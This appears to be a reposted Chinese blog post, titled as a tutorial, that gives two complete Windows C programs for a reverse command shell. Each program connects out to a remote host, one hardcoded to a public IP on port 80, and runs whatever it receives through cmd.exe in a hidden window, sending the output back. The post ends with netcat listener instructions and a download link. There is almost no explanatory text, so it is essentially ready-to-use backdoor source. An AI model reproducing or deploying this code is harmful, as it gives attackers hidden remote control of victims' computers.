C语言通过匿名管道实现反弹式CMDShell

Posted LyShark

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C语言通过匿名管道实现反弹式CMDShell相关的知识,希望对你有一定的参考价值。

#pragma comment(lib,"ws2_32.lib")
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\\"windows\\" /entry:\\"mainCRTStartup\\"" )
#endif

#include <winsock2.h>
#include <windows.h>

int main(int argc, char **argv)
{
    char *messages = "======================== Connect successful !========================\\n";
    WSADATA WSAData;
    SOCKET sock; //创建套接字
    SOCKADDR_IN addr_in;
    char buf[1024]; //buf作为socket接收数据的缓冲区
    memset(buf, 0, 1024); //清空缓冲区

    WSAStartup(MAKEWORD(2, 2), &WSAData); //初始化ws2

    addr_in.sin_family = AF_INET;
    addr_in.sin_port = htons(80); //反向连接的远端主机端口
    addr_in.sin_addr.S_un.S_addr = inet_addr("59.110.167.239"); //远端IP

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    while (WSAConnect(sock, (struct sockaddr *)&addr_in, sizeof(addr_in), NULL, NULL, NULL, NULL) == SOCKET_ERROR) //连接客户主机
    {
        Sleep(5000); //连接失败,停顿5s,再试
        continue;
    }

    send(sock, messages, strlen(messages), 0); //发送success信息

    char buffer[2048] = { 0 };//管道输出的数据

    for (char cmdline[270];; memset(cmdline, 0, sizeof(cmdline))){
        SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
        HANDLE hRead, hWrite;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

        CreatePipe(&hRead, &hWrite, &sa, 0); //创建管道

        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si); //STARTUPINFO 结构
        si.hStdError = hWrite;
        si.hStdOutput = hWrite;
        si.wShowWindow = SW_HIDE; //隐藏窗口
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        GetSystemDirectory(cmdline, MAX_PATH + 1); //获得系统路径
        strcat(cmdline, "//cmd.exe /c"); //路径+/cmd.exe

        int len = recv(sock, buf, 1024, NULL);
        if (len == SOCKET_ERROR) exit(0); //如果客户端断开连接,则自动退出程序

        strncat(cmdline, buf, strlen(buf)); //把命令参数复制到cmdline
        CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); //创建进程

        CloseHandle(hWrite);

        for (DWORD bytesRead; ReadFile(hRead, buffer, 2048, &bytesRead, NULL); //循环读取管道中数据并发送,直到管道中没有数据为止
            memset(buffer, 0, 2048)){
            send(sock, buffer, strlen(buffer), 0);
        }
    }
    return 0;
}

 

#include <Windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

HANDLE g_hinputPipe, g_houtputPipe;
HANDLE g_hThread;
DWORD g_dwThreadId;
const unsigned short PORT = 4900;
const char * REMOTE_ADDR = "127.0.0.1";
const unsigned int MAXSTR = 255;

//收发信息
bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
{
    ZeroMemory(cmdline, MAXSTR);
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
    {
        Sleep(1000);
    }
    Sleep(200);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.hStdError = g_hinputPipe;
    si.hStdOutput = g_hinputPipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(cmdline, MAXSTR);
    strcat_s(cmdline, MAXSTR, "\\\\cmd.exe /c ");
    strcat_s(cmdline, MAXSTR, sockData);
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, 10000);
    return true;
}

//被控端管道信息回传监控
DWORD WINAPI WatchData(LPVOID lprarm)
{
    unsigned int g_Ret = 0;
    DWORD dwTotalAvail = 0;
    DWORD realReadLen = 0;
    char readBuffer[4096] = "\\0";
    SOCKET sSock = (SOCKET)lprarm;
    while (true)
    {
        g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
        if (g_Ret && dwTotalAvail > 0)
        {
            Sleep(300);
            g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
            if (g_Ret && realReadLen > 0)
            {
                Sleep(200);
                strcat_s(readBuffer, 4096, "\\r\\nCMD >");
                send(sSock, readBuffer, strlen(readBuffer), 0);
                ZeroMemory(readBuffer, 4096);
            }
        }
    }
    return 0;
}

//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    char sendError[30] = "[*] Send Error !\\r\\n\\r\\n";
    char cmdline[MAXSTR] = "\\0";
    char sockData[MAXSTR] = "\\0";
    int sockDataLen = 0;
    SOCKET sSock;
    sockaddr_in sockAddr;
    WSADATA wsd;
    if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
    if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
    sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
    sockAddr.sin_family = AF_INET;
    sockAddr.sin_port = htons(PORT);
    while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
    {
        Sleep(2000);
        continue;
    }

    g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
    while (true)
    {
        while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
        {
            Sleep(1000);
        }
        if (!sendData(sSock, cmdline, sockData))
        {
            send(sSock, sendError, strlen(sendError), 0);
        }
        ZeroMemory(sockData, MAXSTR);
    }

    WaitForSingleObject(g_hThread, INFINITE);
    CloseHandle(g_hinputPipe);
    CloseHandle(g_houtputPipe);
    closesocket(sSock);
    WSACleanup();
    ExitProcess(0);
    return 0;
}

 

下载NC https://eternallybored.org/misc/netcat/       nc执行命令:nc命令 : -l -v -p [端口] 等待上线

以上是关于C语言通过匿名管道实现反弹式CMDShell的主要内容,如果未能解决你的问题,请参考以下文章

代码片--练习匿名内部类

Linux学习进程间通信——匿名管道 | 命名管道

linux下c语言pipe无名管道 main函数创建两个进程p1和p2,p1把一个文件名通过管道给main进程,main进程打开

C语言编程实现时间片轮转算法,尽量写得简单易懂,谢谢

进程间通信匿名管道

通过匿名管道在进程间双向通信